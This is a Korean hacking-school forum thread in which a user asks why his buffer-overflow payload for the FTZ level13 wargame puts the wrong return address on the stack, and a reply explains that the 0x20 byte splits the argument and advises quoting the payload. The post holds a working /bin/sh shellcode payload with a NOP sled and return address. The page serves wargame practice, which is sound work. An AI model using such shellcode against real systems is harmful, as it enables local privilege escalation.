레벨 해킹

 2844, 4/143 회원가입  로그인  
   kimgs0725
   오류.jpg (0 Byte), Download : 5     [오른쪽 버튼 눌러 다운 받기]
   ftz level13말인데요....

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=3283 [복사]



$(perl -e 'print "\x90"x900 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\x90"x112 . "\x67\x45\x23\x01" . "\x90"x12 . "\x20\xf4\xff\xbf"')

이렇게 쉘을 삽입하고 시도해봤는데, 자꾸 리턴주소에 0xbffff420이 아닌 0x40033900이런식으로 삽입이 되거

든요. 왜 그런건 가요?
  Hit : 1817     Date : 2013/01/18 09:19


    
cd80 \x20때문에 그렇습니다
\x20때문에 argv[1]은 0x12345678909090909090909090909090 가 돼버리고
argv[2]부터 0x00bffff4가 됩니다
$(perl 을 "$(perl 로
"\x20\xf4\xff\xbf"') 를
"\x20\xf4\xff\xbf"')" 로
전체 페이로드를 쌍따옴표로 감싸주시면 제대로 동작합니다		 2013/01/19  
cd80 말을 이상하게 썼는데 argv[1]의 마지막부분이 저렇게 된다는 뜻입니다~~ 2013/01/19  
2784   ftz level20[2]     kumi123
 05/22 2497
2783   FTZ level4에서 질문     neeeeeep
 05/19 2017
2782   level11 도중...     darkofgy
 04/03 1864
2781   트레이너 서비스를 받으려는데 안되네요>[1]     csm1529
 04/01 1858
2780   ftz level9 중에서[2]     6월
 03/02 2360
2779   level4 중에서[2]     6월
 03/02 2212
2778   Trainer 다하고 level1 시작하는데 질문이요[2]     hwchon
 02/15 2052
2777   level8에서 하이퍼터미널을 사용하여 리눅스 서버의 파일을 윈도우로 받아오기 에서요...[3]     kophoenix3
 02/14 2413
2776   SIS의 훈련 문제중에 네트워크 보안 6번     Deplax
 01/19 1889
  ftz level13말인데요....[2]     kimgs0725
 01/18 1816
2774   LOB Redhat 1단계 질문 드립니다.(스포 주의)     expl0it
 01/11 1915
2773   LOB Fedora 풀고 계신분 있나요??     cjy
 12/18 2613
2772   level2 질문[4]     motae1122
 11/12 1788
2771   ftz 우클릭시...[2]     리눅스펭귄
 09/22 2047
2770   connection refused[2]     yj6393
 09/09 2552
2769     [re] connection refused     4irjuno
 09/09 2185
2768   level3 다ㄲㅒㅅ는데 질문좀요! (스포주의)[1]     flslwl0414
 08/26 1986
2767   트레이너2....[2]     kimho2018
 07/28 1836
2766   war game이 뭔가요ㅡㅡ;[2]     yj6393
 07/16 2916
2765   level1 질문.[2]     mrcj
 07/11 1802
[1][2][3] 4 [5][6][7][8][9][10]..[143]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org